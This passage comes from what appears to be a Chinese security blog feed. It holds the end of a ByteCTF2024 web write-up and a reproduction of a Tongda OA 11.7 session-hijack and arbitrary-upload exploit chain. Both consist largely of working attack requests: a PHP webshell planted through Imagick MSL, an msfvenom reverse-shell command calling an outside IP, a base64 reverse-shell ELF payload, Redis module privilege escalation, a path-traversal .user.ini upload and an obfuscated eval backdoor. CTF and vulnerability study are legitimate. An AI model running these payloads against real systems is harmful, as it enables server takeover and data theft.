punctuation">(</span><span class="token string double-quoted-string">"LD_PRELOAD=/tmp/"</span><span class="token operator">.</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'so'</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token string double-quoted-string">".so"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'byte'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'ctf'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>      <span class="token variable">$a</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ReflectionClass</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'byte'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token variable">$b</span> <span class="token operator">=</span> <span class="token variable">$a</span><span class="token operator">-&gt;</span><span class="token function">newInstanceArgs</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'ctf'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// echo $b;</span><span class="token punctuation">}</span> <span class="token keyword">elseif</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'clean'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span>    <span class="token function">array_map</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'unlink'</span><span class="token punctuation">,</span> <span class="token function">glob</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/tmp/*'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>    <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">echo</span> <span class="token string single-quoted-string">'Hello ByteCTF2024!'</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token comment">// phpinfo.html Hello ByteCTF2024!</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>查看phpinfo，有simplexml和imagick</p><p>天枢的文档里config.php莫名就读取到了，那借鉴一下wm的wp，先用simplexml写入php读取config.php</p><pre class="line-numbers language-none"><code class="language-none">POST /?byte=SimpleXMLElement&amp;ctf[0]=http://8.130.24.188/evil.xml&amp;ctf[1]=2&amp;ctf[2]=true HTTP/1.1Host: a1bc48a6.clsadp.comAccept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhPContent-Length: 345------WebKitFormBoundaryTrWYaXKoVR1wiLhPContent-Disposition: form-data; name="file"; filename="vulhub.msl"Content-Type: text/plain&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;image&gt;  &lt;read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;"/&gt;  &lt;write filename="info:s.php" /&gt;&lt;/image&gt;------WebKitFormBoundaryTrWYaXKoVR1wiLhP--<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>等效于 <code>SimpleXMLElement("http://8.130.24.188/evil.xml",2,true)</code> ，其中true代表第一个参数为url</p><p>读取到secret=HelloByteCTF2024，先用<code>msfvenom -p linux/x64/shell_reverse_tcp LHOST=82.156.18.214 LPORT=8080 -f elf-so &gt; shell.so</code>生成恶意.so，再用<code>Imagick(vid:msl:/tmp/php*)</code>迂回上传</p><pre class="line-numbers language-none"><code class="language-none">POST /?byte=Imagick&amp;ctf[0]=vid:msl:/tmp/php* HTTP/1.1Host: ad2961ae.clsadp.comUser-Agent: python-requests/2.32.3Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 918Content-Type: multipart/form-data; boundary=15605bdf9aec6250208b22b032a9960b--15605bdf9aec6250208b22b032a9960bContent-Disposition: form-data; name="files"; filename="aaa.py"&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;image&gt;&lt;read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3AEAAAAAAAAmAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAailYmWoCX2oBXg8FSJdIuQIAH5BSnBLWUUiJ5moQWmoqWA8FagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU="/&gt;&lt;write filename="/tmp/13.so"/&gt;&lt;/image&gt;--15605bdf9aec6250208b22b032a9960b--<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>然后利用<code>SplFileObject(/tmp/sky.wmv,w)</code>写入空wmv文件并劫持.so</p><pre class="line-numbers language-none"><code class="language-none">GET /?byte=SplFileObject&amp;ctf[]=/tmp/sky.wmv&amp;ctf[]=w HTTP/1.1Host: ad2961ae.clsadp.comUser-Agent: python-requests/2.32.3Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 0<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-none"><code class="language-none">GET /?so=13&amp;key=HelloByteCTF2024&amp;byte=Imagick&amp;ctf[]=/tmp/sky.wmv HTTP/1.1Host: ad2961ae.clsadp.comUser-Agent: python-requests/2.32.3Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 0<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>拿到redis密码：bytectfa0d90b，进行redis module提权</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">redis-cliauth bytectfa0d90bMODULE LOAD /tmp/exploit.sosystem.exec <span class="token string">'ls /root'</span>system.exec <span class="token string">'cat /root/flag'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;ByteCTF2024&quot;&gt;&lt;a href=&quot;#ByteCTF2024&quot; class=&quot;headerlink&quot; title=&quot;ByteCTF2024&quot;&gt;&lt;/a&gt;ByteCTF2024&lt;/h1&gt;&lt;h2 id=&quot;AI&quot;&gt;&lt;a href=&quot;#AI&quot; class=&quot;head</summary>
      
    
    
    
    <category term="CTF" scheme="https://c26h52.github.io/categories/CTF/"/>
    
    
    <category term="web" scheme="https://c26h52.github.io/tags/web/"/>
    
    <category term="AI" scheme="https://c26h52.github.io/tags/AI/"/>
    
  </entry>
  
  <entry>
    <title>通达OAv11.7在线用户登录联动任意文件上传漏洞</title>
    <link href="https://c26h52.github.io/2024/01/17/tong-da-oav11.7-zai-xian-yong-hu-deng-lu-lian-dong-ren-yi-wen-jian-shang-chuan-lou-dong/"/>
    <id>https://c26h52.github.io/2024/01/17/tong-da-oav11.7-zai-xian-yong-hu-deng-lu-lian-dong-ren-yi-wen-jian-shang-chuan-lou-dong/</id>
    <published>2024-01-17T11:18:08.000Z</published>
    <updated>2024-01-24T09:36:08.324Z</updated>
    
    <content type="html"><![CDATA[<p>该漏洞是出现在通达OA系统的一个综合漏洞，适用于11.7版本及以下的通达OA系统，分为<strong>在线用户登录</strong>和<strong>文件上传利用</strong>两部分</p><p>首先下载通达OA，这里以11.6版本的为例，下载后发现php文件全部被Zend加密，于是用SeayDZend解密，接着进入漏洞复现环节</p><hr><h4 id="在线用户登录"><a href="#在线用户登录" class="headerlink" title="在线用户登录"></a>在线用户登录</h4><p>在MYOA\webroot\mobile路径下的auth_mobi.php我们可以看到</p><pre class="line-numbers language-php" data-language="php"><code class="language-php">……<span class="token keyword">function</span> <span class="token function-definition function">relogin</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token keyword">echo</span> <span class="token function">_</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"RELOGIN"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">exit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span>……<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$isAvatar</span> <span class="token operator">==</span> <span class="token string double-quoted-string">"1"</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span><span class="token variable">$uid</span> <span class="token operator">!=</span> <span class="token string double-quoted-string">""</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span><span class="token variable">$P_VER</span> <span class="token operator">!=</span> <span class="token string double-quoted-string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token variable">$sql</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"SELECT SID FROM user_online WHERE UID = '<span class="token interpolation"><span class="token variable">$uid</span></span>' and CLIENT = '<span class="token interpolation"><span class="token variable">$P_VER</span></span>'"</span><span class="token punctuation">;</span><span class="token variable">$cursor</span> <span class="token operator">=</span> <span class="token function">exequery</span><span class="token punctuation">(</span><span class="token class-name static-context">TD</span><span class="token operator">::</span><span class="token function">conn</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token variable">$sql</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$row</span> <span class="token operator">=</span> <span class="token function">mysql_fetch_array</span><span class="token punctuation">(</span><span class="token variable">$cursor</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token variable">$P</span> <span class="token operator">=</span> <span class="token variable">$row</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"SID"</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$P</span> <span class="token operator">==</span> <span class="token string double-quoted-string">""</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token variable">$P</span> <span class="token operator">=</span> <span class="token variable">$_COOKIE</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"PHPSESSID"</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$P</span> <span class="token operator">==</span> <span class="token string double-quoted-string">""</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token function">relogin</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">exit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">}</span>……<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$_SESSION</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"LOGIN_USER_ID"</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string double-quoted-string">""</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token punctuation">(</span><span class="token variable">$_SESSION</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"LOGIN_UID"</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string double-quoted-string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token function">relogin</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>从MYOA\webroot\inc\db_dict.inc.php中我们可以看到</p><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token variable">$DB_DICT_FIELD_ARRAY</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"USER_ONLINE"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"UID"</span> <span class="token operator">=&gt;</span> <span class="token string double-quoted-string">"在线人员UID"</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"TIME"</span> <span class="token operator">=&gt;</span> <span class="token string double-quoted-string">"上次更新时间"</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"SID"</span> <span class="token operator">=&gt;</span> <span class="token string double-quoted-string">"在线人员Session ID"</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"CLIENT"</span> <span class="token operator">=&gt;</span> <span class="token string double-quoted-string">"客户端登录设备类型(0-浏览器,1-手机浏览器,2-OA精灵,5-iPhone,6-Android)"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>即user_online是一个数据库表，$sql语句的作用是在user_online的表单中查询在线人员UID为$uid参数，客户端登录设备类型为$P_VER参数的在线人员session ID值</p><p>而如果在线人员Session ID为空且相应PHPSESSID的cookie键为空，或LOGIN_USER_ID与LOGIN_UID至少一个SESSION键为空，则执行relogin()函数，在页面上显示RELOGIN</p><p>所以当我们带着isAvatar参数为1，P_VER参数为0访问url/mobile/auth_mobi.php?isAvatar=1&amp;uid=*&amp;P_VER=0，可以得到对应uid账户的在线情况与session值</p><p>而通达OA的admin账户UID为1，故当我们访问url/mobile/auth_mobi.php?isAvatar=1&amp;uid=1&amp;P_VER=0时，如果显示RELOGIN，代表admin账户离线</p><p><img src="https://s2.loli.net/2024/01/24/27nfLBD1TyYFj8M.png" alt></p><p>如果显示为空，代表admin账户在线</p><p><img src="https://s2.loli.net/2024/01/24/sLauTU6SfqoDkYm.png" alt></p><p>此时查询请求响应中的Set-Cookie参数，其中的PHPSESSID即为admin账户的Session ID</p><p><img src="https://s2.loli.net/2024/01/24/aDJNjqAkoLBIRFt.png" alt></p><p>在发送POST请求时将该Session ID以PHPSESSID形式携带即可实现admin用户登录</p><hr><h4 id="文件上传利用"><a href="#文件上传利用" class="headerlink" title="文件上传利用"></a>文件上传利用</h4><p>只是登入admin账户对我们还不够，我们要实现文件上传利用，由于通达OA对上传文件限制比较严格，因此我们考虑通过上传.user.ini文件实现php包含木马</p><p>.user.ini文件是一个可以用户可以自定义的php配置文件，可以实现动态加载，即上传后自动间隔一定时间（可设置）会被执行。</p><p>而php配置中auto_append_file、auto_prepend_file这两个项可以被我们利用，前者表示文件后包含，即让执行目录到根目录的所有php文件后都包含指定文件，而后者表示文件前包含</p><p>因此，我们的大致思路是上传一个auto_append_file=木马文件的.user.ini，然后访问受控的任意一个php页面，实现木马文件上传</p><p>观察得MYOA\nginx\conf\nginx.conf中</p><pre class="line-numbers language-conf" data-language="conf"><code class="language-conf">location /attachment {            deny all;        }<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>得知正常情况下，文件被上传到MYOA\webroot\attachment，但该目录下没有php文件，即使上传.user.ini配置文件也无法被执行</p><p>但通过观察MYOA\webroot\general\hr\manage\staff_info\update.php</p><pre class="line-numbers language-php" data-language="php"><code class="language-php">……<span class="token variable">$PHOTO_NAME0</span> <span class="token operator">=</span> <span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"ATTACHMENT"</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"name"</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ATTACHMENT</span> <span class="token operator">=</span> <span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"ATTACHMENT"</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"tmp_name"</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$PHOTO_NAME0</span> <span class="token operator">!=</span> <span class="token string double-quoted-string">""</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token variable">$FULL_PATH</span> <span class="token operator">=</span> <span class="token constant">MYOA_ATTACH_PATH</span> <span class="token operator">.</span> <span class="token string double-quoted-string">"hrms_pic"</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">file_exists</span><span class="token punctuation">(</span><span class="token variable">$FULL_PATH</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>@<span class="token function">mkdir</span><span class="token punctuation">(</span><span class="token variable">$FULL_PATH</span><span class="token punctuation">,</span> <span class="token number">448</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token variable">$PHOTO_NAME</span> <span class="token operator">=</span> <span class="token variable">$USER_ID</span> <span class="token operator">.</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$PHOTO_NAME0</span><span class="token punctuation">,</span> <span class="token function">strrpos</span><span class="token punctuation">(</span><span class="token variable">$PHOTO_NAME0</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"."</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$FILENAME</span> <span class="token operator">=</span> <span class="token constant">MYOA_ATTACH_PATH</span> <span class="token operator">.</span> <span class="token string double-quoted-string">"hrms_pic/"</span> <span class="token operator">.</span> <span class="token variable">$PHOTO_NAME</span><span class="token punctuation">;</span><span class="token function">td_copy</span><span class="token punctuation">(</span><span class="token variable">$ATTACHMENT</span><span class="token punctuation">,</span> <span class="token variable">$FILENAME</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">file_exists</span><span class="token punctuation">(</span><span class="token variable">$ATTACHMENT</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token function">unlink</span><span class="token punctuation">(</span><span class="token variable">$ATTACHMENT</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">file_exists</span><span class="token punctuation">(</span><span class="token variable">$FILENAME</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token function">Message</span><span class="token punctuation">(</span><span class="token function">_</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"附件上传失败"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">_</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"原因：附件文件为空或文件名太长，或附件大于30兆字节，或文件路径不存在！"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">Button_Back</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">exit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">}</span>……<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>我们发现$USER_ID没有被过滤就直接被拼接进了文件名$FILENAME变量中，同时，文件名$FILENAME的后缀名取自上传文件的后缀名，因此我们可以利用相对路径构造$USER_ID为../../其它路径，实现上传路径的更改</p><p>在11.7以上版本中，对上传路径又增加了限制</p><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token keyword">function</span> <span class="token function-definition function">td_path_valid</span><span class="token punctuation">(</span><span class="token variable">$source</span><span class="token punctuation">,</span> <span class="token variable">$func_name</span><span class="token punctuation">)</span><span class="token punctuation">{</span>    <span class="token variable">$source_arr</span> <span class="token operator">=</span> <span class="token function">pathinfo</span><span class="token punctuation">(</span><span class="token variable">$source</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token variable">$source</span> <span class="token operator">=</span> <span class="token function">realpath</span><span class="token punctuation">(</span><span class="token variable">$source_arr</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"dirname"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token variable">$basename</span> <span class="token operator">=</span> <span class="token function">strtolower</span><span class="token punctuation">(</span><span class="token variable">$source_arr</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"basename"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$source</span> <span class="token operator">===</span> <span class="token constant boolean">false</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$func_name</span> <span class="token operator">==</span> <span class="token string double-quoted-string">"td_fopen"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token variable">$whitelist</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,"</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token function">strpos</span><span class="token punctuation">(</span><span class="token variable">$source</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"webroot\inc"</span><span class="token punctuation">)</span> <span class="token operator">!==</span> <span class="token constant boolean">false</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">find_id</span><span class="token punctuation">(</span><span class="token variable">$whitelist</span><span class="token punctuation">,</span> <span class="token variable">$basename</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>            <span class="token keyword">return</span> <span class="token constant boolean">true</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token function">strpos</span><span class="token punctuation">(</span><span class="token variable">$source</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"webroot"</span><span class="token punctuation">)</span> <span class="token operator">!==</span> <span class="token constant boolean">false</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span><span class="token function">strpos</span><span class="token punctuation">(</span><span class="token variable">$source</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"attachment"</span><span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token constant boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span>    <span class="token keyword">else</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span> <span class="token constant boolean">true</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>要求上传路径如果包含webroot，必须包含attachment，稳妥起见，我们将新的上传路径设在MYOA\webroot\general\reportshop\workshop\report\attachment-remark</p><p>发送如下POST请求</p><pre class="line-numbers language-POST" data-language="POST"><code class="language-POST">POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104Content-Length: 365Connection: closeCookie: PHPSESSID=(待填);Upgrade-Insecure-Requests: 1-----------------------------17518323986548992951984057104Content-Disposition: form-data; name="ATTACHMENT"; filename="ace.ini"Content-Type: text/plainauto_prepend_file=ace.log-----------------------------17518323986548992951984057104Content-Disposition: form-data; name="submit"提交-----------------------------17518323986548992951984057104--<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>即将配置为auto_prepend_file=ace.log的.user.ini文件上传到/general/reportshop/workshop/report/attachment-remark目录下</p><p>然后再发送POST请求</p><pre class="line-numbers language-POST" data-language="POST"><code class="language-POST">POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/ace HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104Content-Length: 365Connection: closeCookie: PHPSESSID=(待填);Upgrade-Insecure-Requests: 1-----------------------------17518323986548992951984057104Content-Disposition: form-data; name="ATTACHMENT"; filename="ace.log"Content-Type: text/plain&lt;?php echo "Hacked by C26H52♠";$aCe=create_function(base64_decode('JA==').chr(114195/993).str_rot13('b').str_rot13('z').chr(708-607),chr(0xc60e/0x1f6).base64_decode('dg==').str_rot13('n').chr(390-282).chr(0x1ae-0x186).chr(0x3ac-0x388).chr(0xd561/0x1db).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ==').str_rot13(')').chr(798-739));$aCe(base64_decode('OTM2N'.'DM3O0'.'BldkF'.'sKCRf'.''.str_rot13('H').str_rot13('R').chr(41382/726).str_rot13('G').base64_decode('Vg==').''.''.base64_decode('Rg==').str_rot13('g').str_rot13('D').base64_decode('Wg==').chr(23751/273).''.'lRaV0'.'pOzI4'.'MDkzM'.'TE7'.''));?&gt;-----------------------------17518323986548992951984057104Content-Disposition: form-data; name="submit"提交-----------------------------17518323986548992951984057104--<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>将ace.log上传至/general/reportshop/workshop/report/attachment-remark/目录下，其中ace.log的内容为</p><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Hacked by C26H52♠"</span><span class="token punctuation">;</span><span class="token variable">$aCe</span><span class="token operator">=</span><span class="token function">create_function</span><span class="token punctuation">(</span><span class="token variable">$some</span><span class="token punctuation">,</span><span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$some</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$aCe</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"936437;@evAl(<span class="token interpolation"><span class="token variable">$_POST</span><span class="token punctuation">[</span>PeiQi<span class="token punctuation">]</span></span>);2809311;"</span><span class="token punctuation">)</span><span class="token delimiter important">?&gt;</span></span><span aria-hidden="true" 